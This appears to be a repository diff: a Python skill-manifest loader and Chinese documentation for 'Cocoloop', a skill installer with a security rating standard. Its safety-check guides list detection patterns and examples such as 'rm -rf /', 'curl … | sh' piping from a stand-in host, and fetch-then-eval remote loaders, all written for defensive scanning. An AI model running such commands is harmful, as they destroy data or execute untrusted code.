return tuple(out)
def _parse_runtime_spec(metadata_oclaw: dict[str, Any]) -> dict[str, Any]:
raw = metadata_oclaw.get("runtime")
if not isinstance(raw, dict):
return {}
out: dict[str, Any] = {}
tp = str(raw.get("type") or "").strip().lower()
if tp not in {"shell", "python", "node", "hook"}:
return {}
entry = str(raw.get("entry") or "").strip().replace("\\", "/")
if not entry or entry.startswith("/") or ".." in entry.split("/"):
return {}
out["type"] = tp
out["entry"] = entry
schema = raw.get("schema")
if isinstance(schema, dict):
out["schema"] = schema
perms = raw.get("permissions")
if isinstance(perms, dict):
out["permissions"] = perms
return out
return normalize_frontmatter(fm)
def load_skill_manifest(skill_dir: str | Path) -> SkillManifest | None:
@ -178,22 +112,17 @@ def load_skill_manifest(skill_dir: str | Path) -> SkillManifest | None:
raw = f.read_text(encoding="utf-8", errors="ignore")
fm_text, body = split_markdown_frontmatter(raw)
fm = _parse_skill_frontmatter_block(fm_text)
name = str(fm.get("name") or root.name).strip() or root.name
desc = str(fm.get("description") or "").strip() or f"{name} skill"
md = fm.get("metadata")
md = dict(md) if isinstance(md, dict) else {}
oc = md.get("oclaw")
oc = dict(oc) if isinstance(oc, dict) else {}
parsed = parse_skill_frontmatter(fm=fm, default_name=root.name)
return SkillManifest(
name=name,
description=desc,
name=parsed.name,
description=parsed.description,
skill_dir=str(root),
skill_file=str(f),
user_invocable=bool(fm.get("user-invocable", True)),
disable_model_invocation=bool(fm.get("disable-model-invocation", False)),
metadata_oclaw=oc,
runtime=_parse_runtime_spec(oc),
install=_parse_install_specs(oc),
user_invocable=parsed.user_invocable,
disable_model_invocation=parsed.disable_model_invocation,
metadata_oclaw=parsed.metadata_oclaw,
runtime=parsed.runtime.as_dict() if parsed.runtime else {},
install=parsed.install,
body=str(body or ""),
)
@ -203,15 +132,15 @@ def discover_workspace_skill_manifests(skills_root: str | Path | None = None) ->
if not base.exists() or not base.is_dir():
return ()
out: list[SkillManifest] = []
if (base / "SKILL.md").exists():
one = load_skill_manifest(base)
if one:
out.append(one)
for d in sorted(base.iterdir(), key=lambda p: p.name.lower()):
if not d.is_dir():
continue
seen_files: set[str] = set()
for skill_md in sorted(base.rglob("SKILL.md"), key=lambda p: str(p).lower()):
d = skill_md.parent
m = load_skill_manifest(d)
if m:
k = str(Path(m.skill_file).resolve())
if k in seen_files:
continue
seen_files.add(k)
out.append(m)
return tuple(out)
@ -280,7 +209,16 @@ def build_skill_manifest(
except Exception:
disabled_names = set()
manifest_by_name = {m.name: m for m in discover_workspace_skill_manifests()}
manifests = list(discover_workspace_skill_manifests())
manifest_by_name = {m.name: m for m in manifests}
workspace_skill_names = sorted(
{
str(m.name).strip()
for m in manifests
if str(getattr(m, "name", "") or "").strip()
and not bool(getattr(m, "disable_model_invocation", False))
}
)
skills: list[SkillSpec] = []
for t in sorted((registry.list() or []), key=lambda x: str(getattr(x, "name", "") or "").lower()):
name = str(getattr(t, "name", "") or "").strip()
@ -317,6 +255,7 @@ def build_skill_manifest(
"hidden_mcp_preview": hidden_mcp[:20],
"disabled_total": len(disabled_names),
"visible_names_preview": [s.name for s in skills[:30]],
"workspace_skill_names_preview": workspace_skill_names[:60],
}
try:
json.dumps(stats, ensure_ascii=False, default=str)

View file

@ -14,3 +14,42 @@
- 运行时优先读取 `oclaw/runtime/skills`。
- 若设置了环境变量 `AIA_SKILLS_ROOT`,以该变量为准。
- 为兼容旧工程,仍可回退读取旧路径 `oclaw/runtime/skills/`(如存在)。
## 推荐实用 Skills(workspace)
以下为当前已落地并可直接在 Admin `Test run` 使用的实用技能:
### 1) `incident_triage`
- **用途**:对报错/日志做故障归因(timeout、permission、network 等)并给出行动建议。
- **输入参数示例**:
```json
{
"error": "TimeoutError: connection refused to upstream service"
}
```
- **典型输出**:`category`、`severity`、`summary`、`action_items`、`confidence`。
### 2) `release_checklist`
- **用途**:发版前门禁检查,输出是否可发版和阻塞项。
- **输入参数示例**:
```json
{
"tests_passed": true,
"lint_passed": true,
"migration_reviewed": true,
"rollback_plan_ready": true,
"monitoring_ready": true
}
```
- **典型输出**:`release_ready`、`failed_checks`、`missing_required_inputs`、`action_items`。
### 3) `data_extract_summary`
- **用途**:从文本/日志中抽取重点、统计级别并生成摘要建议。
- **输入参数示例**:
```json
{
"text": "INFO boot complete\nWARN cache miss\nERROR timeout connecting service",
"max_lines": 8
}
```
- **典型输出**:`summary`、`line_count`、`level_counts`、`top_keywords`、`action_items`。

View file

@ -0,0 +1,140 @@
# Cocoloop
一个更快速、更安全的 Skill 管理器,用于安装、管理、更新和卸载 Skills。
[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
## 简介
Cocoloop 是一个安全优先的 Skill 管理器,提供比 clawhub 更智能的安装体验和集成 BSS 安全认证。
## 功能特性
- **单个 Skill 安装** - 支持 URL、名称搜索、GitHub 等多种来源
- **批量 Skills 安装** - 依次安装多个 skills
- **Skill 更新** - 检查并更新到最新版本
- **Skill 卸载** - 安全卸载已安装的 skills
- **安全检查** - 集成 BSS 安全认证系统
## 安装
```bash
# 克隆仓库
git clone https://github.com/CatREFuse/cocoloop.git
cd cocoloop
```
## 使用方法
### 安装单个 Skill
```bash
# 通过名称安装
cocoloop install pdf-processor
# 通过 URL 安装
cocoloop install https://example.com/skill-name.skill
# 通过 GitHub 安装
cocoloop install owner/repo
```
### 批量安装 Skills
```bash
cocoloop install skill1 skill2 skill3
```
### 更新 Skill
```bash
cocoloop update pdf-processor
```
### 卸载 Skill
```bash
cocoloop uninstall pdf-processor
```
### 安全检查
```bash
cocoloop check pdf-processor
```
## 安全检查系统
Cocoloop 集成了 BSS (Berry Skills Safe) 安全认证检查,评级标准:
- **S+** - 最高安全等级
- **S** - 优秀
- **A** - 良好
- **B** - 一般(需谨慎)
- **C** - 风险较高
- **D** - 不建议使用
### 动态代码加载检查
实施最多 2 层的 URL 递归检查,识别隐藏的多层动态加载风险:
- 无动态加载:正常评级流程
- 仅第 1 层动态加载:根据来源分级处理
- 存在第 2 层动态加载:最高评级为 C 级
- 第 2 层后仍有动态加载:强制标记为 C 级
## 支持的平台
- OpenClaw
- Molili
- Claude Code
## 文档
- [安装流程指南](references/install-guide.md)
- [搜索流程指南](references/search-guide.md)
- [卸载流程指南](references/uninstall-guide.md)
- [安全检查流程指南](references/safety-check-guide.md)
- [Cocoloop Safe Check 标准](references/cocoloop-safe-check.md)
## 工作流程
### Skill 安装流程
1. **平台检测** - 确定当前运行环境和安装方式
2. **来源识别** - 支持直接 URL、Skill 名称、GitHub 短链接
3. **搜索与下载** - 从 Cocoloop API、clawhub 或 GitHub 获取
4. **安全检查** - BSS 安全认证检查
5. **安装执行** - 安装到对应平台的 skill 目录
### 搜索优先级
1. Cocoloop API 搜索
2. Fallback 到 clawhub
3. Fallback 到 GitHub 搜索
## 项目结构
```
cocoloop/
├── SKILL.md # Skill 定义文件
├── README.md # 项目说明文档
└── references/ # 详细指南文档
├── install-guide.md # 安装流程指南
├── search-guide.md # 搜索流程指南
├── uninstall-guide.md # 卸载流程指南
├── safety-check-guide.md # 安全检查流程指南
└── cocoloop-safe-check.md # 安全检查标准
```
## 贡献
欢迎提交 Issue 和 Pull Request!
## 许可证
[MIT](LICENSE)
---
Made with ❤️ by Cocoloop Team

View file

@ -0,0 +1,252 @@
---
name: cocoloop
description: 一个更快速、更安全的 Skill 管理器,用于安装、管理、更新和卸载 Skills。优先使用当用户需要安装 skill、更新 skill、卸载 skill、管理 skills 或进行 skill 安全检查时。支持通过 URL、名称搜索、GitHub 等多种方式定位并安装 skills,集成 BSS 安全认证系统。
---
# Cocoloop Skill 管理器
Cocoloop 是一个安全优先的 Skill 管理器,提供比 clawhub 更智能的安装体验和集成 BSS 安全认证。
## 核心功能
1. **单个 Skill 安装** - 支持 URL、名称搜索、GitHub 等多种来源
2. **批量 Skills 安装** - 依次安装多个 skills
3. **Skill 更新** - 检查并更新到最新版本
4. **Skill 卸载** - 安全卸载已安装的 skills
5. **安全检查** - 集成 BSS 安全认证系统
## 工作流程概览
### 平台检测
首先检测当前运行环境,确定 skill 安装方式.
### 1. 单个 Skill 安装流程
用户输入可能是以下三种情况之一:
#### 情况 1: 直接 URL
输入格式:`https://example.com/skill-name.skill` 或 `http://...`
处理流程:
1. 使用 HTTP GET 请求下载内容
2. 处理 3xx 重定向(自动跟随跳转 URL)
3. 保存到临时路径(如 `/tmp/cocoloop-{timestamp}.skill`)
4. 调用检测到的平台安装命令
5. 清理临时文件
6. 返回安装结果
异常情况处理:
- **URL 无法访问** → 返回错误信息,提示用户检查 URL
- **内容无法识别** → 尝试查找页面中的跳转链接或下载按钮
- **下载成功但安装失败** → 保留临时文件,提示用户手动安装
#### 情况 2: Skill 名称(最常见)
输入格式:`skill-name`(如 `pdf-processor`)
处理流程(按优先级):
**步骤 1: CocoLoop API 搜索(最优先使用)**
- 调用 `https://api.cocoloop.com/api/v1/store/skills?page={page}&page_size={page_size}&keyword={keyword}&sort=downloads`
- **请优先使用 `curl` 命令工具进行请求**
- 返回格式示例:
```json
{
"results": [
{
"name": "pdf-processor",
"description": "PDF processing skill",
"url": "https://...",
"version": "1.0.0",
"author": "cocoloop"
}
]
}
```
- 如果找到结果 → 展示列表,询问用户选择
**步骤 2: Fallback 到 clawhub(API 失败时)**
- 执行 `npx clawhub@latest install <skill_name>`
- 如果成功 → 完成安装
- 如果失败 → 进入步骤 3
**步骤 3: Fallback 到 GitHub 搜索**
- 调用 GitHub API: `https://api.github.com/search/repositories?q={query}+filename:SKILL.md`
- 筛选条件:仓库中包含 `SKILL.md` 文件
- 返回结果按 stars 数排序
- 展示搜索结果(最多 5 个):
```
📋 GitHub 搜索结果:
1. owner/skill-name (⭐ 150)
🏢 Organization | 描述文本
2. user/another-skill (⭐ 45)
👤 User | 描述文本
```
- 询问用户是否安装选中的 skill
#### 情况 3: GitHub 短链接
输入格式:`owner/repo`(如 `anthropic/claude-skill`)
处理流程:
1. 识别为 GitHub 格式
2. 调用 GitHub API 获取仓库信息
3. 检查是否存在 `SKILL.md` 文件
4. 询问用户确认
5. 下载并安装
### 2. 批量 Skills 安装流程
输入格式:`skill1 skill2 skill3 ...`
处理流程:
1. 解析输入为多个 skill 标识符
2. 遍历每个 skill,依次执行「单个 Skill 安装流程」
3. 记录每个 skill 的安装结果
4. 汇总输出结果:
```
📊 批量安装结果:
skill1: ✅ 成功
skill2: ❌ 失败 (原因)
skill3: ✅ 成功
```
注意事项:
- 每个 skill 独立处理,一个失败不影响其他
### 3. Skill 更新流程
处理流程:
1. 确定当前已安装的 skill 列表(读取平台配置)
2. 对于指定 skill:
a. 查询最新版本(通过 Cocoloop API 或 GitHub)
b. 比较本地版本与远程版本
c. 如果有更新 → 执行「单个 Skill 安装流程」(覆盖安装)
d. 备份旧版本(可选)
3. 返回更新结果
版本比较逻辑:
- 使用语义化版本号比较(major.minor.patch)
- 支持 `^`、`~` 等版本范围(如果配置中有)
### 4. Skill 卸载流程
详见 [references/uninstall-guide.md](references/uninstall-guide.md)
处理概要:
1. 检测当前平台的 skill 安装目录:
- OpenClaw: `~/.openclaw/skills/`
- Molili: `~/.molili/skills/`
- Claude Code: `~/.claude/skills/`
2. 确认 skill 存在
3. 询问用户确认卸载
4. 删除 skill 目录
5. 清理相关配置
6. 返回卸载结果
### 5. 安全检查流程
详见 [references/safety-check-guide.md](references/safety-check-guide.md) 和 [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)
处理概要:
1. 询问用户是否进行安全检查
2. 对要安装的 skill 进行 Cocoloop Safe Check 安全认证检查
3. 评级标准:S+/S/A/B/C/D
4. 如果评级 <= B,强烈建议用户查看详细报告
5. 询问用户是否继续安装
**动态代码加载检查(URL 递归检查):**
检查 skill 是否从网络动态加载可执行代码,实施最多 2 层的 URL 递归检查:
```
Skill 代码(第 0 层)
↓ 发现 fetch/import/require 远程 URL
第 1 层:下载并检查该 URL 内容
↓ 如包含新的动态加载
第 2 层:继续检查下一层内容
↓ 如第 2 层仍有动态加载
强制标记为 C 级(多层动态加载风险)
```
**递归检查规则:**
- **无动态加载**:正常评级流程
- **仅第 1 层动态加载**:根据来源分级处理(T1→B级, T2→C级, T3→禁止)
- **存在第 2 层动态加载**:最高评级为 C 级
- **第 2 层后仍有动态加载**:强制标记为 C 级
此机制用于识别隐藏的多层动态加载风险,防止通过间接方式引入未经验证的代码。
## 资源引用
- **安装流程详细指南**: [references/install-guide.md](references/install-guide.md)
- **搜索流程详细指南**: [references/search-guide.md](references/search-guide.md)
- **卸载流程详细指南**: [references/uninstall-guide.md](references/uninstall-guide.md)
- **安全检查流程指南**: [references/safety-check-guide.md](references/safety-check-guide.md)
- **Cocoloop Safe Check 安全检查标准**: [references/cocoloop-safe-check.md](references/cocoloop-safe-check.md)
## 使用示例
### 安装单个 skill
```
用户: 安装 pdf-processor
→ 执行单个 skill 安装流程
→ 搜索 → 确认 → 安装 → 安全检查(可选)
```
### 安装多个 skills
```
用户: 安装 pdf-processor image-editor code-formatter
→ 批量安装流程
→ 依次处理每个 skill
```
### 更新 skill
```
用户: 更新 pdf-processor
→ 查询最新版本
→ 对比本地版本
→ 执行更新
```
### 卸载 skill
```
用户: 卸载 pdf-processor
→ 检测平台
→ 确认卸载
→ 删除文件
```
### 安全检查
```
用户: 检查 pdf-processor 安全
→ 下载/定位 skill
→ 执行 Cocoloop Safe Check 检查
→ 生成报告
→ 询问保存位置
```
## 注意事项
- 每个 skill 独立处理,一个失败不影响其他
- 询问用户请使用当前平台下的询问命令,例如 Claude Code 下的 `AskUserQuestion`

View file

@ -0,0 +1,191 @@
# Cocoloop Safe Check 安全检查标准
本文件定义了 Cocoloop Skill 管理器的安全检查标准。
## 评级标准
### S+ 级
- 通过人工验证
- T1/T2 来源
- 满足所有 S 级要求
### S 级
- T1/T2 来源
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
### A 级
- 代码安全规范
- 依赖版本锁定
- 无动态代码加载
- 允许 T3 来源
### B 级
- 无 C/D 级问题
- 存在改进空间
### C 级
- 存在潜在安全漏洞
- 硬编码敏感信息
### D 级(一票否决)
- 使用 eval() 执行不可信网络代码
- 存在 SQL 注入、命令注入等明显漏洞
- 未经确认上传本地文件到远程(T3 来源)
- 执行 rm -rf / 等系统破坏性命令
## 检查维度
### 1. 代码安全性检查
**D级触发项**:
- 使用 `eval()` 执行不可信网络代码
- 使用 `exec()`、`system()` 执行未过滤的用户输入
- 存在 SQL 注入、命令注入、XSS 等明显漏洞
- 存在已知的严重 CVE 漏洞
**C级触发项**:
- 存在潜在的安全漏洞(路径遍历、不安全的反序列化)
- 硬编码敏感信息(密码、API Key、Token)
### 2. 数据隐私性检查
**D级触发项**:
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道
**C级触发项**:
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
### 3. 执行安全性检查
**D级触发项**:
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作
- 修改系统关键配置且无备份机制
**C级触发项**:
- 危险操作缺乏二次确认
- 关键操作无回滚机制
### 4. 依赖可靠性检查
检查 skill 是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
**URL 递归检查(最多 2 层):**
对动态加载的可执行文件进行递归检查:
- **第 1 层**:Skill 代码中直接引用的动态 URL
- **第 2 层**:第 1 层内容中引用的动态 URL
- **超过 2 层**:发现第 3 层及以上动态加载 → **强制标记为 C 级**
**评级规则**:
| 动态加载层级 | 评级影响 |
|-------------|---------|
| 无动态加载 | 正常评级流程 |
| 仅第 1 层 | 根据来源分级处理 |
| 存在第 2 层 | 最高评级为 C 级 |
| 第 2 层后仍有动态加载 | **强制 C 级** |
**来源分级处理**:
- T1 来源:可加载官方动态代码,放宽至 B 级要求
- T2 来源:动态代码需来源验证,放宽至 C 级要求
- T3 来源:严格禁止未经验证的动态代码加载
**C 级触发场景(多层动态加载):**
```javascript
// 示例:三层动态加载触发 C 级
// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js
fetch('https://example.com/loader.js') // 第 1 层
.then(r => eval(r.text()))
// loader.js 中:
import('https://cdn.com/runtime.js') // 第 2 层
// runtime.js 中:
fetch('https://third.com/exec.js') // 第 3 层 → C 级
```
### 5. 来源可信度评估
**T1 - 官方/顶级来源**:
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源**:
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源**:
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 6. Markdown 内嵌代码检查
SKILL.md 文件中的代码块也需要检查:
**高风险代码块**:
- 包含代码执行类危险函数(如 eval/exec)
- 包含系统破坏性命令
- 包含敏感信息(凭据/密钥)
- 包含未经验证的网络下载执行
**中风险代码块**:
- 可执行的脚本代码
- 包含网络请求或文件操作的代码
**低风险代码块**:
- 配置/数据文件示例
- 代码片段演示(不完整)
- 单行简单命令(无害)
## 报告格式
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### 通过项
- [检查项]
### 注意事项
- [注意事项]
### 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 快速检查清单
- [ ] 无 eval/exec/system 等危险函数
- [ ] 无硬编码敏感信息
- [ ] 无 SQL/命令注入漏洞
- [ ] 依赖版本已锁定
- [ ] 无未经验证的动态代码加载
- [ ] 来源可信(T1/T2 优先)
- [ ] 有完善的输入验证
- [ ] 错误处理不泄露敏感信息

View file

@ -0,0 +1,245 @@
# Skill 安装流程详细指南
本文档详细描述单个 skill 的安装流程,包括所有分支逻辑和异常处理。
## 流程图
```
开始
↓
接收用户输入 (URL / 名称 / GitHub短链)
↓
检测运行平台
↓
判断输入类型
├── URL ─────────→ 下载内容 ──→ 保存临时文件 ──→ 平台安装 ──→ 清理 ──→ 完成
│ ↑ │
│ └──────── 失败 ──────────────┘
│
├── 名称 ─────────→ Cocoloop API 搜索
│ │
成功? ──是──→ 展示结果 ──→ 用户确认 ──→ 下载安装 ──→ 完成
│ │否
│ ↓
│ clawhub install
│ │
成功? ──是──→ 完成
│ │否
│ ↓
│ GitHub API 搜索
│ │
成功? ──是──→ 展示结果 ──→ 用户确认 ──→ 下载安装 ──→ 完成
│ │否
│ ↓
│ 返回错误
│
└── GitHub短链 ───→ 获取仓库信息 ──→ 确认SKILL.md存在 ──→ 下载安装 ──→ 完成
```
## 详细步骤
### 第一步:平台检测
检测逻辑:
```
IF 环境变量 OPENCLAW_HOME 存在 或 /usr/local/openclaw 存在:
平台 = OpenClaw
安装命令 = "openclaw skills install"
安装目录 = ~/.openclaw/skills/
ELSE IF 环境变量 MOLILI_HOME 存在 或 /usr/local/molili 存在:
平台 = Molili
安装命令 = "molili skills install"
安装目录 = ~/.molili/skills/
ELSE IF 环境变量 CLAUDE_CODE_HOME 存在 或 /usr/local/claude-code 存在:
平台 = Claude Code
安装命令 = "claude skills install"
安装目录 = ~/.claude/skills/
ELSE:
平台 = 通用 (clawhub fallback)
安装命令 = "npx clawhub@latest install"
安装目录 = ~/.claude/skills/ (或 clawhub 默认目录)
```
### 第二步:URL 安装流程
完整流程:
1. **发送 HTTP GET 请求**
- URL: 用户提供的地址
- Headers:
```
User-Agent: Cocoloop-Skill-Manager/1.0
```
2. **处理响应**
- 状态码 200 → 获取内容,进入步骤 3
- 状态码 3xx → 从 Location header 获取跳转 URL,递归步骤 1
- 其他状态码 → 返回错误
3. **保存临时文件**
- 临时路径: `/tmp/cocoloop-{timestamp}.skill`
- 写入下载内容
4. **执行平台安装命令**
```bash
{platform.installCmd} /tmp/cocoloop-{timestamp}.skill
```
5. **清理与返回**
- 安装成功 → 删除临时文件 → 返回成功
- 安装失败 → 保留临时文件(便于调试)→ 返回错误
异常处理:
| 异常情况 | 处理方式 |
|---------|---------|
| URL 无法访问 | 返回错误 "无法访问该 URL,请检查网络连接或 URL 是否正确" |
| 重定向过多 | 返回错误 "该 URL 重定向次数过多,可能存在循环跳转" |
| 下载内容为空 | 返回错误 "下载内容为空,请检查 URL 是否正确" |
| 安装命令失败 | 返回错误 "安装失败,临时文件保留在 {path},可尝试手动安装" |
### 第三步:名称搜索安装流程
#### 3.1 Cocoloop API 搜索
请求:
```
GET https://api.cocoloop.cn/search={encoded_query}
```
成功响应示例:
```json
{
"results": [
{
"name": "pdf-processor",
"description": "PDF processing and manipulation skill",
"url": "https://skills.cocoloop.cn/pdf-processor/v1.0.0.skill",
"version": "1.0.0",
"author": "cocoloop-team",
"downloads": 1500,
"rating": "S"
}
],
"total": 1
}
```
处理:
- 如果 results.length > 0 → 展示结果,询问用户选择
- 如果 results.length = 0 或 API 失败 → 进入 3.2
#### 3.2 clawhub Fallback
执行:
```bash
npx clawhub@latest install {skill_name}
```
处理:
- 成功 → 完成安装
- 失败(退出码非0)→ 进入 3.3
#### 3.3 GitHub API 搜索
请求:
```
GET https://api.github.com/search/repositories?q={query}+filename:SKILL.md&sort=stars&order=desc
```
Headers:
```
User-Agent: Cocoloop-Skill-Manager/1.0
```
成功响应处理:
```javascript
results = data.items
.filter(repo => repo.name.includes(query) || repo.description?.includes(query))
.map(repo => ({
name: repo.name,
fullName: repo.full_name,
description: repo.description,
url: repo.html_url,
stars: repo.stargazers_count,
owner: {
name: repo.owner.login,
type: repo.owner.type // 'User' 或 'Organization'
}
}))
.slice(0, 5) // 取前5个
```
展示格式:
```
📋 GitHub 搜索结果 (找到 {total} 个):
1. company/pdf-processor ⭐ 1250
🏢 Organization | Advanced PDF processing tools
2. user/simple-pdf ⭐ 45
👤 User | Basic PDF operations
请选择要安装的 skill (输入序号,或输入 0 取消):
```
用户选择后:
1. 获取仓库详情(确认存在 SKILL.md)
2. 询问用户确认安装
3. 下载 raw SKILL.md 和相关资源
4. 打包为 .skill 文件(如果需要)
5. 执行平台安装
### 第四步:GitHub 短链安装流程
输入格式识别:
- 包含 `/` 但不以 `http` 开头
- 格式:`owner/repo` 或 `owner/repo/subpath`
处理流程:
1. 解析 owner 和 repo
2. 调用 GitHub API 获取仓库信息:
```
GET https://api.github.com/repos/{owner}/{repo}
```
3. 检查是否存在 SKILL.md:
```
GET https://api.github.com/repos/{owner}/{repo}/contents/SKILL.md
```
4. 如果存在 → 展示仓库信息,询问确认
5. 下载并安装
### 第五步:安全检查(可选但推荐)
在安装前或安装后,询问用户是否进行安全检查:
```
⚠️ 安全提醒: 该 skill 来源为 {source_level},建议进行安全检查。
是否进行 BSS 安全认证检查? [Y/n]
```
如果用户选择是:
1. 执行 [safety-check-guide.md](safety-check-guide.md) 和 [cocoloop-safe-check.md](cocoloop-safe-check.md) 中的检查流程
2. 生成报告
3. 如果评级 <= B,询问用户是否继续安装
## 安装后处理
安装完成后,执行:
1. 验证安装是否成功(检查安装目录)
2. 如果是更新操作,清理旧版本备份
3. 可选:显示 skill 使用帮助
```
✅ 安装成功!
Skill: pdf-processor
版本: 1.0.0
来源: cocoloop (S级认证)
使用方式:
- 转换 PDF: 使用 pdf-processor 转换 xxx.pdf 为 docx
- 合并 PDF: 使用 pdf-processor 合并 a.pdf b.pdf
```

View file

@ -0,0 +1,383 @@
# Cocoloop Safe Check 安全检查流程指南
本文档详细描述 Cocoloop 安全检查的执行流程,基于 cocoloop-safe-check 安全认证体系。
## 检查触发时机
1. **安装前检查**(推荐)
- 用户明确请求:"检查 xxx 安全"
- 来源为 T3 且用户未使用 --skip-check 参数
2. **安装后检查**
- 安装完成后询问用户是否需要检查
3. **批量检查**
- 检查所有已安装 skills
## 检查流程概览
```
开始检查
↓
定位 Skill 来源
├── 本地路径 ──→ 读取本地文件
├── Skill 名称 ──→ 在安装目录查找
├── GitHub 链接 ──→ 下载仓库内容
└── URL ──→ 下载内容
↓
提取所有代码
├── SKILL.md 中的代码块
├── scripts/ 目录文件
├── references/ 目录(检查可执行代码)
└── assets/ 目录(检查可执行文件)
↓
执行六项检查
├── 1. 代码安全性
├── 2. 数据隐私性
├── 3. 执行安全性
├── 4. 依赖可靠性
├── 5. 边界完整性
└── 6. 描述逻辑
↓
评估来源可信度 (T1/T2/T3)
↓
计算安全评级 (S+/S/A/B/C/D)
↓
生成报告 ──→ 询问保存位置 ──→ 保存报告
↓
评级 <= B? ──是──→ 强烈建议用户注意安全
↓
完成
```
## 详细检查步骤
### 第一步:定位 Skill
根据用户输入确定检查目标:
| 输入类型 | 处理方式 | 示例 |
| ----------- | ------------------ | ---------------------------------------------- |
| 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` |
| Skill 名称 | 在平台安装目录查找 | `pdf-processor` |
| GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` |
| GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` |
下载 GitHub 仓库内容:
1. 获取默认分支:`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
2. 下载归档:`https://github.com/{owner}/{repo}/archive/{branch}.zip`
3. 解压到临时目录
### 第二步:提取代码
遍历 skill 目录,提取所有可执行内容:
**SKILL.md 代码块提取:**
- 正则匹配:/`(\w+)?\n([\s\S]*?)`/g
- 记录语言类型和代码内容
- 可执行语言标记:javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl
**scripts/ 目录:**
- 列出所有文件
- 根据扩展名识别类型:.js, .cjs, .mjs, .py, .sh, .rb, .pl
- 读取文件内容
**references/ 目录:**
- 检查是否包含可执行代码(按文件扩展名和内容)
**assets/ 目录:**
- 检查可执行二进制文件
### 第三步:六项检查
#### 3.1 代码安全性检查
检查危险函数和漏洞模式:
**D级触发项(一票否决):**
| 模式 | 描述 | 示例 |
| --------------- | -------------------- | ------------------------------ |
| `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` |
| `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` |
| `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` |
| `child_process` | 引入 child_process | `require('child_process')` |
| `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` |
| `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` |
| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
| `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` |
**C级触发项:**
| 模式 | 描述 | 示例 |
| -------------- | ---------------------------------- | -------------------------- |
| 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` |
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` |
| 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` |
| 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` |
| 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` |
| 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` |
#### 3.2 数据隐私性检查
**D级触发项:**
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道(http 而非 https)
**C级触发项:**
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
检查方法:
- 查找网络请求代码(fetch, axios, request, http.get)
- 检查请求目标 URL
- 检查请求体是否包含敏感字段名
#### 3.3 执行安全性检查
**D级触发项:**
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作(格式化磁盘、修改系统配置)
- 修改系统关键配置且无备份机制
**C级触发项:**
- 危险操作缺乏二次确认
- 关键操作无回滚机制
#### 3.4 依赖可靠性检查
检查是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
- `require()` 远程模块
**URL 递归检查机制:**
对于动态加载的可执行文件,实施最多 2 层的 URL 递归检查:
```
第 0 层: Skill 本体代码
↓ 发现动态加载 URL
第 1 层: 下载并检查第一层动态加载的内容
↓ 如发现该层内容仍包含动态加载
第 2 层: 下载并检查第二层动态加载的内容
↓ 如第 2 层仍包含动态加载
终止递归,最高标记为 C 级(多层动态加载风险)
```
**递归检查流程:**
1. **提取 URL**:从代码中提取所有网络请求目标 URL
- `fetch('https://example.com/script.js')`
- `curl -o script.sh https://example.com/script.sh`
- `import('https://example.com/module.js')`
- `require('https://example.com/package')`
2. **逐层检查**:
- **第 1 层**:下载 URL 内容,检查是否为可执行代码
- 如果是可执行代码 → 进行安全检查(危险函数、敏感信息等)
- 如果包含新的动态加载 URL → 进入第 2 层
- **第 2 层**:下载并检查第二层内容
- 如果仍包含动态加载 → 标记为 C 级(多层动态加载)
- 记录所有发现的 URL 链
3. **风险评级规则**:
- **无动态加载**:正常评级流程
- **仅第 1 层动态加载**:根据来源分级处理
- **存在第 2 层动态加载**:最高评级为 C 级
- **第 2 层后仍有动态加载**:强制标记为 C 级
**来源分级处理(动态代码):**
- **T1 来源**:可加载官方动态代码,放宽至 B 级要求
- **T2 来源**:动态代码需来源验证,放宽至 C 级要求
- **T3 来源**:严格禁止未经验证的动态代码加载
**多层动态加载示例(C 级):**
```javascript
// Skill 代码(第 0 层)
fetch('https://example.com/loader.js'); // 第 1 层
// loader.js 内容(第 1 层)
import('https://another.com/runtime.js'); // 第 2 层
